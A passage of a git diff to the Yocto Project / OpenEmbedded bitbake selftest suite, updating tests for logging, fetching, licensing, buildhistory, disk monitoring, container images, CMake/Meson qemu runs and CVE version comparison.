+ def test_python_fatal_loggingA(self):
+ # no logs, no verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_fatal -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertNotIn("This is python fatal test stdout", result.output)
+ self.assertCount(result.output, "This is a fatal error", 1)
+
+ def test_python_fatal_loggingB(self):
+ # logs, no verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_fatal -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # A bb.fatal() should not include the output
+ self.assertNotIn("This is python fatal test stdout", result.output)
+ self.assertCount(result.output, "This is a fatal error", 1)
+
+ def test_python_fatal_loggingC(self):
+ # no logs, verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_fatal -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertCount(result.output, "This is python fatal test stdout", 1)
+ self.assertCount(result.output, "This is a fatal error", 1)
+
+ def test_python_fatal_loggingD(self):
+ # logs, verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_fatal -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertCount(result.output, "This is python fatal test stdout", 1)
+ self.assertCount(result.output, "This is a fatal error", 1)
+
diff --git a/meta/lib/oeqa/selftest/cases/bbtests.py b/meta/lib/oeqa/selftest/cases/bbtests.py
index dc423ec439..98e9f81661 100644
--- a/meta/lib/oeqa/selftest/cases/bbtests.py
+++ b/meta/lib/oeqa/selftest/cases/bbtests.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -39,7 +41,7 @@ class BitbakeTests(OESelftestTestCase):
def test_event_handler(self):
self.write_config("INHERIT += \"test_events\"")
- result = bitbake('m4-native')
+ result = bitbake('selftest-hello-native')
find_build_started = re.search(r"NOTE: Test for bb\.event\.BuildStarted(\n.*)*NOTE: Executing.*Tasks", result.output)
find_build_completed = re.search(r"Tasks Summary:.*(\n.*)*NOTE: Test for bb\.event\.BuildCompleted", result.output)
self.assertTrue(find_build_started, msg = "Match failed in:\n%s" % result.output)
@@ -47,11 +49,11 @@ class BitbakeTests(OESelftestTestCase):
self.assertNotIn('Test for bb.event.InvalidEvent', result.output)
def test_local_sstate(self):
- bitbake('m4-native')
- bitbake('m4-native -cclean')
- result = bitbake('m4-native')
- find_setscene = re.search("m4-native.*do_.*_setscene", result.output)
- self.assertTrue(find_setscene, msg = "No \"m4-native.*do_.*_setscene\" message found during bitbake m4-native. bitbake output: %s" % result.output )
+ bitbake('selftest-hello-native')
+ bitbake('selftest-hello-native -cclean')
+ result = bitbake('selftest-hello-native')
+ find_setscene = re.search("selftest-hello-native.*do_.*_setscene", result.output)
+ self.assertTrue(find_setscene, msg = "No \"selftest-hello-native.*do_.*_setscene\" message found during bitbake selftest-hello-native. bitbake output: %s" % result.output )
def test_bitbake_invalid_recipe(self):
result = bitbake('-b asdf', ignore_status=True)
@@ -63,15 +65,15 @@ class BitbakeTests(OESelftestTestCase):
def test_warnings_errors(self):
result = bitbake('-b asdf', ignore_status=True)
- find_warnings = re.search("Summary: There w.{2,3}? [1-9][0-9]* WARNING messages* shown", result.output)
- find_errors = re.search("Summary: There w.{2,3}? [1-9][0-9]* ERROR messages* shown", result.output)
+ find_warnings = re.search("Summary: There w.{2,3}? [1-9][0-9]* WARNING messages*", result.output)
+ find_errors = re.search("Summary: There w.{2,3}? [1-9][0-9]* ERROR messages*", result.output)
self.assertTrue(find_warnings, msg="Did not find the mumber of warnings at the end of the build:\n" + result.output)
self.assertTrue(find_errors, msg="Did not find the mumber of errors at the end of the build:\n" + result.output)
def test_invalid_patch(self):
# This patch should fail to apply.
- self.write_recipeinc('man-db', 'FILESEXTRAPATHS_prepend := "${THISDIR}/files:"\nSRC_URI += "file://0001-Test-patch-here.patch"')
- self.write_config("INHERIT_remove = \"report-error\"")
+ self.write_recipeinc('man-db', 'FILESEXTRAPATHS:prepend := "${THISDIR}/files:"\nSRC_URI += "file://0001-Test-patch-here.patch"')
+ self.write_config("INHERIT:remove = \"report-error\"")
result = bitbake('man-db -c patch', ignore_status=True)
self.delete_recipeinc('man-db')
bitbake('-cclean man-db')
@@ -83,12 +85,15 @@ class BitbakeTests(OESelftestTestCase):
def test_force_task_1(self):
# test 1 from bug 5875
+ import uuid
test_recipe = 'zlib'
- test_data = "Microsoft Made No Profit From Anyone's Zunes Yo"
+ # Need to use uuid otherwise hash equivlance would change the workflow
+ test_data = "Microsoft Made No Profit From Anyone's Zunes Yo %s" % uuid.uuid1()
bb_vars = get_bb_vars(['D', 'PKGDEST', 'mandir'], test_recipe)
image_dir = bb_vars['D']
pkgsplit_dir = bb_vars['PKGDEST']
man_dir = bb_vars['mandir']
+ self.write_config("PACKAGE_CLASSES = \"package_rpm\"")
bitbake('-c clean %s' % test_recipe)
bitbake('-c package -f %s' % test_recipe)
@@ -138,19 +143,14 @@ class BitbakeTests(OESelftestTestCase):
self.write_recipeinc('man-db', data)
self.write_config("""DL_DIR = \"${TOPDIR}/download-selftest\"
SSTATE_DIR = \"${TOPDIR}/download-selftest\"
-INHERIT_remove = \"report-error\"
+INHERIT:remove = \"report-error\"
""")
self.track_for_cleanup(os.path.join(self.builddir, "download-selftest"))
- bitbake('-ccleanall man-db')
result = bitbake('-c fetch man-db', ignore_status=True)
- bitbake('-ccleanall man-db')
self.delete_recipeinc('man-db')
self.assertEqual(result.status, 1, msg="Command succeded when it should have failed. bitbake output: %s" % result.output)
- self.assertIn('Fetcher failure: Unable to find file file://invalid anywhere. The paths that were searched were:', result.output)
- line = self.getline(result, 'Fetcher failure for URL: \'file://invalid\'. Unable to fetch URL from any source.')
- self.assertTrue(line and line.startswith("ERROR:"), msg = "\"invalid\" file \
-doesn't exist, yet fetcher didn't report any error. bitbake output: %s" % result.output)
+ self.assertIn('Unable to get checksum for man-db SRC_URI entry invalid: file could not be found', result.output)
def test_rename_downloaded_file(self):
# TODO unique dldir instead of using cleanall
@@ -160,7 +160,7 @@ SSTATE_DIR = \"${TOPDIR}/download-selftest\"
""")
self.track_for_cleanup(os.path.join(self.builddir, "download-selftest"))
- data = 'SRC_URI = "${GNU_MIRROR}/aspell/aspell-${PV}.tar.gz;downloadfilename=test-aspell.tar.gz"'
+ data = 'SRC_URI = "https://downloads.yoctoproject.org/mirror/sources/aspell-${PV}.tar.gz;downloadfilename=test-aspell.tar.gz"'
self.write_recipeinc('aspell', data)
result = bitbake('-f -c fetch aspell', ignore_status=True)
self.delete_recipeinc('aspell')
@@ -175,7 +175,7 @@ SSTATE_DIR = \"${TOPDIR}/download-selftest\"
self.assertIn('localconf', result.output)
def test_dry_run(self):
- result = runCmd('bitbake -n m4-native')
+ result = runCmd('bitbake -n selftest-hello-native')
self.assertEqual(0, result.status, "bitbake dry run didn't run as expected. %s" % result.output)
def test_just_parse(self):
@@ -188,6 +188,10 @@ SSTATE_DIR = \"${TOPDIR}/download-selftest\"
self.assertTrue(find, "No version returned for searched recipe. bitbake output: %s" % result.output)
def test_prefile(self):
+ # Test when the prefile does not exist
+ result = runCmd('bitbake -r conf/prefile.conf', ignore_status=True)
+ self.assertEqual(1, result.status, "bitbake didn't error and should have when a specified prefile didn't exist: %s" % result.output)
+ # Test when the prefile exists
preconf = os.path.join(self.builddir, 'conf/prefile.conf')
self.track_for_cleanup(preconf)
ftools.write_file(preconf ,"TEST_PREFILE=\"prefile\"")
@@ -198,6 +202,10 @@ SSTATE_DIR = \"${TOPDIR}/download-selftest\"
self.assertIn('localconf', result.output)
def test_postfile(self):
+ # Test when the postfile does not exist
+ result = runCmd('bitbake -R conf/postfile.conf', ignore_status=True)
+ self.assertEqual(1, result.status, "bitbake didn't error and should have when a specified postfile didn't exist: %s" % result.output)
+ # Test when the postfile exists
postconf = os.path.join(self.builddir, 'conf/postfile.conf')
self.track_for_cleanup(postconf)
ftools.write_file(postconf , "TEST_POSTFILE=\"postfile\"")
@@ -212,7 +220,7 @@ SSTATE_DIR = \"${TOPDIR}/download-selftest\"
def test_continue(self):
self.write_config("""DL_DIR = \"${TOPDIR}/download-selftest\"
SSTATE_DIR = \"${TOPDIR}/download-selftest\"
-INHERIT_remove = \"report-error\"
+INHERIT:remove = \"report-error\"
""")
self.track_for_cleanup(os.path.join(self.builddir, "download-selftest"))
self.write_recipeinc('man-db',"\ndo_fail_task () {\nexit 1 \n}\n\naddtask do_fail_task before do_fetch\n" )
@@ -224,16 +232,21 @@ INHERIT_remove = \"report-error\"
self.assertLess(errorpos,continuepos, msg = "bitbake didn't pass do_fail_task. bitbake output: %s" % result.output)
def test_non_gplv3(self):
- self.write_config('INCOMPATIBLE_LICENSE = "GPLv3"')
+ self.write_config('''INCOMPATIBLE_LICENSE = "GPL-3.0-or-later"
+require conf/distro/include/no-gplv3.inc
+''')
result = bitbake('selftest-ed', ignore_status=True)
self.assertEqual(result.status, 0, "Bitbake failed, exit code %s, output %s" % (result.status, result.output))
lic_dir = get_bb_var('LICENSE_DIRECTORY')
- self.assertFalse(os.path.isfile(os.path.join(lic_dir, 'selftest-ed/generic_GPLv3')))
- self.assertTrue(os.path.isfile(os.path.join(lic_dir, 'selftest-ed/generic_GPLv2')))
+ arch = get_bb_var('SSTATE_PKGARCH')
+ filename = os.path.join(lic_dir, arch, 'selftest-ed', 'generic_GPL-3.0-or-later')
+ self.assertFalse(os.path.isfile(filename), msg="License file %s exists and shouldn't" % filename)
+ filename = os.path.join(lic_dir, arch, 'selftest-ed', 'generic_GPL-2.0-or-later')
+ self.assertTrue(os.path.isfile(filename), msg="License file %s doesn't exist" % filename)
def test_setscene_only(self):
""" Bitbake option to restore from sstate only within a build (i.e. execute no real tasks, only setscene)"""
- test_recipe = 'ed'
+ test_recipe = 'selftest-hello-native'
bitbake(test_recipe)
bitbake('-c clean %s' % test_recipe)
@@ -246,7 +259,7 @@ INHERIT_remove = \"report-error\"
'Executed tasks were: %s' % (task, str(tasks)))
def test_skip_setscene(self):
- test_recipe = 'ed'
+ test_recipe = 'selftest-hello-native'
bitbake(test_recipe)
bitbake('-c clean %s' % test_recipe)
@@ -297,3 +310,68 @@ INHERIT_remove = \"report-error\"
test_recipe_summary_after = get_bb_var('SUMMARY', test_recipe)
self.assertEqual(expected_recipe_summary, test_recipe_summary_after)
+
+ def test_git_patchtool(self):
+ """ PATCHTOOL=git should work with non-git sources like tarballs
+ test recipe for the test must NOT containt git:// repository in SRC_URI
+ """
+ test_recipe = "man-db"
+ self.write_recipeinc(test_recipe, 'PATCHTOOL=\"git\"')
+ src = get_bb_var("SRC_URI",test_recipe)
+ gitscm = re.search("git://", src)
+ self.assertFalse(gitscm, "test_git_patchtool pre-condition failed: {} test recipe contains git repo!".format(test_recipe))
+ result = bitbake('{} -c patch'.format(test_recipe), ignore_status=False)
+ fatal = re.search("fatal: not a git repository (or any of the parent directories)", result.output)
+ self.assertFalse(fatal, "Failed to patch using PATCHTOOL=\"git\"")
+ self.delete_recipeinc(test_recipe)
+ bitbake('-cclean {}'.format(test_recipe))
+
+ def test_git_patchtool2(self):
+ """ Test if PATCHTOOL=git works with git repo and doesn't reinitialize it
+ """
+ test_recipe = "gitrepotest"
+ src = get_bb_var("SRC_URI",test_recipe)
+ gitscm = re.search("git://", src)
+ self.assertTrue(gitscm, "test_git_patchtool pre-condition failed: {} test recipe doesn't contains git repo!".format(test_recipe))
+ result = bitbake('{} -c patch'.format(test_recipe), ignore_status=False)
+ srcdir = get_bb_var('S', test_recipe)
+ result = runCmd("git log", cwd = srcdir)
+ self.assertFalse("bitbake_patching_started" in result.output, msg = "Repository has been reinitialized. {}".format(srcdir))
+ self.delete_recipeinc(test_recipe)
+ bitbake('-cclean {}'.format(test_recipe))
+
+
+ def test_git_unpack_nonetwork(self):
+ """
+ Test that a recipe with a floating tag that needs to be resolved upstream doesn't
+ access the network in a patch task run in a separate builld invocation
+ """
+
+ # Enable the recipe to float using a distro override
+ self.write_config("DISTROOVERRIDES .= \":gitunpack-enable-recipe\"")
+
+ bitbake('gitunpackoffline -c fetch')
+ bitbake('gitunpackoffline -c patch')
+
+ def test_git_unpack_nonetwork_fail(self):
+ """
+ Test that a recipe with a floating tag which doesn't call get_srcrev() in the fetcher
+ raises an error when the fetcher is called.
+ """
+
+ # Enable the recipe to float using a distro override
+ self.write_config("DISTROOVERRIDES .= \":gitunpack-enable-recipe\"")
+
+ result = bitbake('gitunpackoffline-fail -c fetch', ignore_status=True)
+ self.assertTrue(re.search("Recipe uses a floating tag/branch .* for repo .* without a fixed SRCREV yet doesn't call bb.fetch2.get_srcrev()", result.output), msg = "Recipe without PV set to SRCPV should have failed: %s" % result.output)
+
+ def test_unexpanded_variable_in_path(self):
+ """
+ Test that bitbake fails if directory contains unexpanded bitbake variable in the name
+ """
+ recipe_name = "gitunpackoffline"
+ self.write_config('PV:pn-gitunpackoffline:append = "+${UNDEFVAL}"')
+ result = bitbake('{}'.format(recipe_name), ignore_status=True)
+ self.assertGreater(result.status, 0, "Build should have failed if ${ is in the path")
+ self.assertTrue(re.search("ERROR: Directory name /.* contains unexpanded bitbake variable. This may cause build failures and WORKDIR polution",
+ result.output), msg = "mkdirhier with unexpanded variable should have failed: %s" % result.output)
diff --git a/meta/lib/oeqa/selftest/cases/binutils.py b/meta/lib/oeqa/selftest/cases/binutils.py
index 821f52f5a8..1688eabe4e 100644
--- a/meta/lib/oeqa/selftest/cases/binutils.py
+++ b/meta/lib/oeqa/selftest/cases/binutils.py
@@ -1,12 +1,14 @@
+#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
+#
import os
-import sys
-import re
-import logging
+import time
from oeqa.core.decorator import OETestTag
from oeqa.core.case import OEPTestResultTestCase
from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import bitbake, get_bb_var, get_bb_vars
+from oeqa.utils.commands import bitbake, get_bb_vars
def parse_values(content):
for i in content:
@@ -35,15 +37,19 @@ class BinutilsCrossSelfTest(OESelftestTestCase, OEPTestResultTestCase):
bb_vars = get_bb_vars(["B", "TARGET_SYS", "T"], recipe)
builddir, target_sys, tdir = bb_vars["B"], bb_vars["TARGET_SYS"], bb_vars["T"]
+ start_time = time.time()
+
bitbake("{0} -c check".format(recipe))
+ end_time = time.time()
+
sumspath = os.path.join(builddir, suite, "{0}.sum".format(suite))
if not os.path.exists(sumspath):
sumspath = os.path.join(builddir, suite, "testsuite", "{0}.sum".format(suite))
logpath = os.path.splitext(sumspath)[0] + ".log"
ptestsuite = "binutils-{}".format(suite) if suite != "binutils" else suite
- self.ptest_section(ptestsuite, logfile = logpath)
+ self.ptest_section(ptestsuite, duration = int(end_time - start_time), logfile = logpath)
with open(sumspath, "r") as f:
for test, result in parse_values(f):
self.ptest_result(ptestsuite, test, result)
diff --git a/meta/lib/oeqa/selftest/cases/buildhistory.py b/meta/lib/oeqa/selftest/cases/buildhistory.py
index d865da6252..2d55994916 100644
--- a/meta/lib/oeqa/selftest/cases/buildhistory.py
+++ b/meta/lib/oeqa/selftest/cases/buildhistory.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/selftest/cases/buildoptions.py b/meta/lib/oeqa/selftest/cases/buildoptions.py
index e91f0bd18f..31dafaa9c5 100644
--- a/meta/lib/oeqa/selftest/cases/buildoptions.py
+++ b/meta/lib/oeqa/selftest/cases/buildoptions.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -9,8 +11,10 @@ import shutil
import tempfile
from oeqa.selftest.case import OESelftestTestCase
from oeqa.selftest.cases.buildhistory import BuildhistoryBase
-from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_bb_vars
+from oeqa.core.decorator.data import skipIfMachine
+from oeqa.utils.commands import bitbake, get_bb_var, get_bb_vars
import oeqa.utils.ftools as ftools
+from oeqa.core.decorator import OETestTag
class ImageOptionsTests(OESelftestTestCase):
@@ -38,34 +42,35 @@ class ImageOptionsTests(OESelftestTestCase):
p = bb_vars['SYSROOT_DESTDIR'] + bb_vars['bindir'] + "/" + "ccache"
self.assertTrue(os.path.isfile(p), msg = "No ccache found (%s)" % p)
self.write_config('INHERIT += "ccache"')
- self.add_command_to_tearDown('bitbake -c clean m4-native')
- bitbake("m4-native -c clean")
- bitbake("m4-native -f -c compile")
- log_compile = os.path.join(get_bb_var("WORKDIR","m4-native"), "temp/log.do_compile")
+ recipe = "libgcc-initial"
+ self.add_command_to_tearDown('bitbake -c clean %s' % recipe)
+ bitbake("%s -c clean" % recipe)
+ bitbake("%s -f -c compile" % recipe)
+ log_compile = os.path.join(get_bb_var("WORKDIR", recipe), "temp/log.do_compile")
with open(log_compile, "r") as f:
loglines = "".join(f.readlines())
- self.assertIn("ccache", loglines, msg="No match for ccache in m4-native log.do_compile. For further details: %s" % log_compile)
+ self.assertIn("ccache", loglines, msg="No match for ccache in %s log.do_compile. For further details: %s" % (recipe , log_compile))
def test_read_only_image(self):
distro_features = get_bb_var('DISTRO_FEATURES')
if not ('x11' in distro_features and 'opengl' in distro_features):
- self.skipTest('core-image-sato requires x11 and opengl in distro features')
+ self.skipTest('core-image-sato/weston requires x11 and opengl in distro features')
self.write_config('IMAGE_FEATURES += "read-only-rootfs"')
- bitbake("core-image-sato")
+ bitbake("core-image-sato core-image-weston")
# do_image will fail if there are any pending postinsts
class DiskMonTest(OESelftestTestCase):
def test_stoptask_behavior(self):
- self.write_config('BB_DISKMON_DIRS = "STOPTASKS,${TMPDIR},100000G,100K"')
+ self.write_config('BB_DISKMON_DIRS = "STOPTASKS,${TMPDIR},100000G,100K"\nBB_HEARTBEAT_EVENT = "1"')
res = bitbake("delay -c delay", ignore_status = True)
self.assertTrue('ERROR: No new tasks can be executed since the disk space monitor action is "STOPTASKS"!' in res.output, msg = "Tasks should have stopped. Disk monitor is set to STOPTASK: %s" % res.output)
self.assertEqual(res.status, 1, msg = "bitbake reported exit code %s. It should have been 1. Bitbake output: %s" % (str(res.status), res.output))
- self.write_config('BB_DISKMON_DIRS = "ABORT,${TMPDIR},100000G,100K"')
+ self.write_config('BB_DISKMON_DIRS = "HALT,${TMPDIR},100000G,100K"\nBB_HEARTBEAT_EVENT = "1"')
res = bitbake("delay -c delay", ignore_status = True)
- self.assertTrue('ERROR: Immediately abort since the disk space monitor action is "ABORT"!' in res.output, "Tasks should have been aborted immediatelly. Disk monitor is set to ABORT: %s" % res.output)
+ self.assertTrue('ERROR: Immediately halt since the disk space monitor action is "HALT"!' in res.output, "Tasks should have been halted immediately. Disk monitor is set to HALT: %s" % res.output)
self.assertEqual(res.status, 1, msg = "bitbake reported exit code %s. It should have been 1. Bitbake output: %s" % (str(res.status), res.output))
- self.write_config('BB_DISKMON_DIRS = "WARN,${TMPDIR},100000G,100K"')
+ self.write_config('BB_DISKMON_DIRS = "WARN,${TMPDIR},100000G,100K"\nBB_HEARTBEAT_EVENT = "1"')
res = bitbake("delay -c delay")
self.assertTrue('WARNING: The free space' in res.output, msg = "A warning should have been displayed for disk monitor is set to WARN: %s" %res.output)
@@ -77,9 +82,9 @@ class SanityOptionsTest(OESelftestTestCase):
def test_options_warnqa_errorqa_switch(self):
- self.write_config("INHERIT_remove = \"report-error\"")
+ self.write_config("INHERIT:remove = \"report-error\"")
if "packages-list" not in get_bb_var("ERROR_QA"):
- self.append_config("ERROR_QA_append = \" packages-list\"")
+ self.append_config("ERROR_QA:append = \" packages-list\"")
self.write_recipeinc('xcursor-transparent-theme', 'PACKAGES += \"${PN}-dbg\"')
self.add_command_to_tearDown('bitbake -c clean xcursor-transparent-theme')
@@ -89,8 +94,8 @@ class SanityOptionsTest(OESelftestTestCase):
self.assertTrue(line and line.startswith("ERROR:"), msg=res.output)
self.assertEqual(res.status, 1, msg = "bitbake reported exit code %s. It should have been 1. Bitbake output: %s" % (str(res.status), res.output))
self.write_recipeinc('xcursor-transparent-theme', 'PACKAGES += \"${PN}-dbg\"')
- self.append_config('ERROR_QA_remove = "packages-list"')
- self.append_config('WARN_QA_append = " packages-list"')
+ self.append_config('ERROR_QA:remove = "packages-list"')
+ self.append_config('WARN_QA:append = " packages-list"')
res = bitbake("xcursor-transparent-theme -f -c package")
self.delete_recipeinc('xcursor-transparent-theme')
line = self.getline(res, "QA Issue: xcursor-transparent-theme-dbg is listed in PACKAGES multiple times, this leads to packaging errors.")
@@ -147,19 +152,48 @@ class BuildhistoryTests(BuildhistoryBase):
self.run_buildhistory_operation(target, target_config="PR = \"r1\"", change_bh_location=True)
self.run_buildhistory_operation(target, target_config="PR = \"r0\"", change_bh_location=False, expect_error=True, error_regex=error)
+ def test_fileinfo(self):
+ self.config_buildhistory()
+ bitbake('hicolor-icon-theme')
+ history_dir = get_bb_var('BUILDHISTORY_DIR_PACKAGE', 'hicolor-icon-theme')
+ self.assertTrue(os.path.isdir(history_dir), 'buildhistory dir was not created.')
+
+ def load_bh(f):
+ d = {}
+ for line in open(f):
+ split = [s.strip() for s in line.split('=', 1)]
+ if len(split) > 1:
+ d[split[0]] = split[1]
+ return d
+
+ data = load_bh(os.path.join(history_dir, 'hicolor-icon-theme', 'latest'))
+ self.assertIn('FILELIST', data)
+ self.assertEqual(data['FILELIST'], '/usr/share/icons/hicolor/index.theme')
+ self.assertGreater(int(data['PKGSIZE']), 0)
+
+ data = load_bh(os.path.join(history_dir, 'hicolor-icon-theme-dev', 'latest'))
+ if 'FILELIST' in data:
+ self.assertEqual(data['FILELIST'], '')
+ self.assertEqual(int(data['PKGSIZE']), 0)
+
class ArchiverTest(OESelftestTestCase):
def test_arch_work_dir_and_export_source(self):
"""
Test for archiving the work directory and exporting the source files.
"""
- self.write_config("INHERIT += \"archiver\"\nARCHIVER_MODE[src] = \"original\"\nARCHIVER_MODE[srpm] = \"1\"")
+ self.write_config("""
+INHERIT += "archiver"
+PACKAGE_CLASSES = "package_rpm"
+ARCHIVER_MODE[src] = "original"
+ARCHIVER_MODE[srpm] = "1"
+""")
res = bitbake("xcursor-transparent-theme", ignore_status=True)
self.assertEqual(res.status, 0, "\nCouldn't build xcursortransparenttheme.\nbitbake output %s" % res.output)
deploy_dir_src = get_bb_var('DEPLOY_DIR_SRC')
pkgs_path = g.glob(str(deploy_dir_src) + "/allarch*/xcurs*")
src_file_glob = str(pkgs_path[0]) + "/xcursor*.src.rpm"
- tar_file_glob = str(pkgs_path[0]) + "/xcursor*.tar.gz"
- self.assertTrue((g.glob(src_file_glob) and g.glob(tar_file_glob)), "Couldn't find .src.rpm and .tar.gz files under %s/allarch*/xcursor*" % deploy_dir_src)
+ tar_file_glob = str(pkgs_path[0]) + "/xcursor*.tar.xz"
+ self.assertTrue((g.glob(src_file_glob) and g.glob(tar_file_glob)), "Couldn't find .src.rpm and .tar.xz files under %s/allarch*/xcursor*" % deploy_dir_src)
class ToolchainOptions(OESelftestTestCase):
def test_toolchain_fortran(self):
@@ -167,10 +201,11 @@ class ToolchainOptions(OESelftestTestCase):
Test that Fortran works by building a Hello, World binary.
"""
- features = 'FORTRAN_forcevariable = ",fortran"\n'
+ features = 'FORTRAN:forcevariable = ",fortran"\n'
self.write_config(features)
bitbake('fortran-helloworld')
+@OETestTag("yocto-mirrors")
class SourceMirroring(OESelftestTestCase):
# Can we download everything from the Yocto Sources Mirror over http only
def test_yocto_source_mirror(self):
@@ -196,3 +231,9 @@ PREMIRRORS = "\\
bitbake("world --runall fetch")
+
+class Poisoning(OESelftestTestCase):
+ def test_poisoning(self):
+ res = bitbake("poison", ignore_status=True)
+ self.assertNotEqual(res.status, 0)
+ self.assertTrue("is unsafe for cross-compilation" in res.output)
diff --git a/meta/lib/oeqa/selftest/cases/c_cpp.py b/meta/lib/oeqa/selftest/cases/c_cpp.py
new file mode 100644
index 0000000000..9a70ce29f5
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/c_cpp.py
@@ -0,0 +1,60 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.core.decorator.data import skipIfNotQemuUsermode
+from oeqa.utils.commands import bitbake
+
+
+class CCppTests(OESelftestTestCase):
+
+ @skipIfNotQemuUsermode()
+ def _qemu_usermode(self, recipe_name):
+ self.add_command_to_tearDown("bitbake -c clean %s" % recipe_name)
+ bitbake("%s -c run_tests" % recipe_name)
+
+ @skipIfNotQemuUsermode()
+ def _qemu_usermode_failing(self, recipe_name):
+ config = 'PACKAGECONFIG:pn-%s = "failing_test"' % recipe_name
+ self.write_config(config)
+ self.add_command_to_tearDown("bitbake -c clean %s" % recipe_name)
+ result = bitbake("%s -c run_tests" % recipe_name, ignore_status=True)
+ self.assertNotEqual(0, result.status, "command: %s is expected to fail but passed, status: %s, output: %s, error: %s" % (
+ result.command, result.status, result.output, result.error))
+
+
+class CMakeTests(CCppTests):
+ def test_cmake_qemu(self):
+ """Test for cmake-qemu.bbclass good case
+
+ compile the cmake-example and verify the CTests pass in qemu-user.
+ qemu-user is configured by CMAKE_CROSSCOMPILING_EMULATOR.
+ """
+ self._qemu_usermode("cmake-example")
+
+ def test_cmake_qemu_failing(self):
+ """Test for cmake-qemu.bbclass bad case
+
+ Break the comparison in the test code and verify the CTests do not pass.
+ """
+ self._qemu_usermode_failing("cmake-example")
+
+
+class MesonTests(CCppTests):
+ def test_meson_qemu(self):
+ """Test the qemu-user feature of the meson.bbclass good case
+
+ compile the meson-example and verify the Unit Test pass in qemu-user.
+ qemu-user is configured by meson's exe_wrapper option.
+ """
+ self._qemu_usermode("meson-example")
+
+ def test_meson_qemu_failing(self):
+ """Test the qemu-user feature of the meson.bbclass bad case
+
+ Break the comparison in the test code and verify the Unit Test does not pass in qemu-user.
+ """
+ self._qemu_usermode_failing("meson-example")
diff --git a/meta/lib/oeqa/selftest/cases/containerimage.py b/meta/lib/oeqa/selftest/cases/containerimage.py
index c0998e319e..23c0a1408a 100644
--- a/meta/lib/oeqa/selftest/cases/containerimage.py
+++ b/meta/lib/oeqa/selftest/cases/containerimage.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -13,7 +15,7 @@ from oeqa.utils.commands import bitbake, get_bb_vars, runCmd
# The only package added to the image is container_image_testpkg, which
# contains one file. However, due to some other things not cleaning up during
# rootfs creation, there is some cruft. Ideally bugs will be filed and the
-# cruft removed, but for now we whitelist some known set.
+# cruft removed, but for now we ignore some known set.
#
# Also for performance reasons we're only checking the cruft when using ipk.
# When using deb, and rpm it is a bit different and we could test all
@@ -22,7 +24,7 @@ from oeqa.utils.commands import bitbake, get_bb_vars, runCmd
#
class ContainerImageTests(OESelftestTestCase):
- # Verify that when specifying a IMAGE_TYPEDEP_ of the form "foo.bar" that
+ # Verify that when specifying a IMAGE_TYPEDEP: of the form "foo.bar" that
# the conversion type bar gets added as a dep as well
def test_expected_files(self):
@@ -42,6 +44,9 @@ IMAGE_FSTYPES = "container"
PACKAGE_CLASSES = "package_ipk"
IMAGE_FEATURES = ""
IMAGE_BUILDINFO_FILE = ""
+INIT_MANAGER = "sysvinit"
+IMAGE_INSTALL:remove = "ssh-pregen-hostkeys"
+
""")
bbvars = get_bb_vars(['bindir', 'sysconfdir', 'localstatedir',
@@ -57,11 +62,7 @@ IMAGE_BUILDINFO_FILE = ""
'.{sysconfdir}/version',
'./run/',
'.{localstatedir}/cache/',
- '.{localstatedir}/cache/ldconfig/',
- '.{localstatedir}/cache/ldconfig/aux-cache',
- '.{localstatedir}/cache/opkg/',
- '.{localstatedir}/lib/',
- '.{localstatedir}/lib/opkg/'
+ '.{localstatedir}/lib/'
]
expected_files = [ x.format(bindir=bbvars['bindir'],
diff --git a/meta/lib/oeqa/selftest/cases/cve_check.py b/meta/lib/oeqa/selftest/cases/cve_check.py
new file mode 100644
index 0000000000..60cecd1328
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/cve_check.py
@@ -0,0 +1,242 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import json
+import os
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake, get_bb_vars
+
+class CVECheck(OESelftestTestCase):
+
+ def test_version_compare(self):
+ from oe.cve_check import Version
+
+ result = Version("100") > Version("99")
+ self.assertTrue( result, msg="Failed to compare version '100' > '99'")
+ result = Version("2.3.1") > Version("2.2.3")
+ self.assertTrue( result, msg="Failed to compare version '2.3.1' > '2.2.3'")
+ result = Version("2021-01-21") > Version("2020-12-25")
+ self.assertTrue( result, msg="Failed to compare version '2021-01-21' > '2020-12-25'")
+ result = Version("1.2-20200910") < Version("1.2-20200920")
+ self.assertTrue( result, msg="Failed to compare version '1.2-20200910' < '1.2-20200920'")
+
+ result = Version("1.0") >= Version("1.0beta")
+ self.assertTrue( result, msg="Failed to compare version '1.0' >= '1.0beta'")
+ result = Version("1.0-rc2") > Version("1.0-rc1")
+ self.assertTrue( result, msg="Failed to compare version '1.0-rc2' > '1.0-rc1'")
+ result = Version("1.0.alpha1") < Version("1.0")
+ self.assertTrue( result, msg="Failed to compare version '1.0.alpha1' < '1.0'")
+ result = Version("1.0_dev") <= Version("1.0")
+ self.assertTrue( result, msg="Failed to compare version '1.0_dev' <= '1.0'")
+
+ # ignore "p1" and "p2", so these should be equal
+ result = Version("1.0p2") == Version("1.0p1")
